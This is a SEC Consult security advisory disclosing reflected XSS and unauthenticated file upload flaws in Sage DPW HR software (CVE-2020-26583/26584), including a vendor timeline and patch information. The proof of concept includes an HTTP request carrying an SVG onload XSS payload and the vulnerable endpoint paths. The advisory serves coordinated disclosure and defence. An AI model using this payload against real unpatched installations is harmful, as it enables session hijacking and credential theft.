SEC Consult Vulnerability Lab Security Advisory < 20201012-0 > ======================================================================= title: Reflected Cross-Site Scripting and Unauthenticated Malicious File Upload product: Sage DPW vulnerable version: 2020_06_000 & 2020_06_001 fixed version: 2020_06_002 CVE number: CVE-2020-26583 & CVE-2020-26584 impact: high homepage: https://www.sagedpw.at/ found: 2020-06 by: Gerhard Hechenberger, Stefan Michlits (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "No matter whether medium-sized company or big brand, whether manufacturing industry, service company or social institution, public administration, hospital or construction company: We help companies to efficiently organize their human resources. Because the success of your company stands and falls with the ideas, creativity and knowledge of your employees. With Sage DPW you have the right tools for outstanding human resources management." Source: https://www.sagedpw.at/loesungen/sage-dpw/ Business recommendation: ------------------------ SEC Consult recommends Sage customers to install the latest updates. Furthermore, an in-depth security analysis performed by security professionals is highly advised, as the software may be affected from other security issues. Vulnerability overview/description: ----------------------------------- 1) Reflected Cross-Site Scripting (CVE-2020-26584) The search field "Kurs suchen" on the page "Kurskatalog" is vulnerable to Reflected XSS. If an attacker can lure a user into clicking a crafted link, the attacker can execute arbitrary JavaScript code in the user's browser. The vulnerability can be used to change the contents of the displayed site, redirect to other sites or steal user credentials. Additionally, users are potential victims of browser exploits and JavaScript malware. 2) Authentication Issues and Insufficient File Upload Restrictions (CVE-2020-26583) The application allows users to upload files via the expenses claiming functionality. It was identified that an attacker has the possibility to upload malicious files without any authentication. However, to view the files, authentication is required. By exploiting this vulnerability, an attacker can persistently include arbitrary HTML or JavaScript code into the affected web page. The vulnerability can be used to perform Cross-Site Scripting attacks. Proof of concept: ----------------- 1) Reflected Cross-Site Scripting (CVE-2020-26584) To verify this vulnerability, it is sufficient to open the "Kurskatalog" of a user and insert the following text into the search: The browser will issue the following request to the server, containing the encoded payload in the vulnerable parameters "suchtext" and "suchtxt": -------------------------------------------------------------------------------- POST /nosso/cgiip.exe/WService=dpw_data/ai1000.htm?dpwr=dpw-000000 HTTP/1.1 Host: example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 630 Connection: close modus=suchliste&art=Kategorie&suche=&suchtext=%3Csvg%2Fonload%3Dalert%28window.location%29%3E &liste=&selrowid=&refrowid=&bikatrowid=&apfachrrowid=&apzielgrurowid=&apkursrowid=&bikursrowid= &bikatkursrowid=&imenu=Info&anzgoback=7&modusalt=suchliste&myid=0000+007065*&myfnr=99 &mypnr=999901&myprofile=MA&berMerkliste=0&berFachrichtung=0&berZielgruppe=0&berKategorie=1 &berNeue_Kurse=0&berOhne_Zuordnung=0&berAntrag_stellen=4&berAntrag_genehmigen=1&berErweiterte_Suche=0 &berBildungsbedarf=0&berVerwaltung_Kurs=0&berKurskatalog=1&berICalendar=4 &opener=(r)isterkarte=registerkarte1&suchtxt=%3Csvg%2Fonload%3Dalert%28window.location%29%3E -------------------------------------------------------------------------------- 2) Authentication Issues and Insufficient File Upload Restrictions (CVE-2020-26583) The file upload dialog can be found at "Mitarbeiter" - "Reisekosten" - "Meine Reisen". Arbitrary files can be uploaded containing a malicious code that will be executed on the client side once a file is opened. For this example, the following SVG file was used: -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- After uploading the file, it can be opened via the returned link and its embedded JavaScript code is executed. For reading the file, authentication with an account using the role "Mitarbeiter" is required, as a valid "dpwr" parameter is needed. An unauthenticated upload is also possible. For this, an XHTML file was used and uploaded as a base64 string using the following request: -------------------------------------------------------------------------------- POST /nosso/cgiip.exe/WService=dpw_data/p-0820.p HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/xml, text/xml, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: text/xml X-Requested-With: XMLHttpRequest Content-Length: 728 Connection: Keep-Alive -------------------------------------------------------------------------------- The response shows, that the file was accepted and returns a document number and a row ID. -------------------------------------------------------------------------------- HTTP/1.1 200 Ok Content-Type: text/xml Date: Wed, 24 Jun 2020 11:06:03 GMT Connection: close Content-Length: 198 -------------------------------------------------------------------------------- Vulnerable / tested versions: ----------------------------- The versions 2020_06_000 and 2020_06_001 of Sage DPW were found to be vulnerable at the time of testing. Vendor contact timeline: ------------------------ 2020-07-16: Contacting vendor through info@sagedpw.at 2020-08-05: Contacting vendor again due to lost message 2020-08-24: Contacting vendor through kundenservice@sagedpw.at 2020-08-31: Contacting vendor again due to no response 2020-09-03: Vendor agreed to proceed without encrypted channel 2020-09-08: Sent security advisory to vendor 2020-09-24: Sage informed us that a patch for all vulnerabilities will be released on 2020-09-28 2020-09-25: The vendor proposed the next possible publication date for the advisory for 2020-10-05. Sage released the patch on 2020-09-25. 2020-10-12: Public release of security advisory Solution: --------- The vendor provides a patch which should be installed immediately. Workaround: ----------- No workaround available. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF G. Hechenberger, S. Michlits / @2020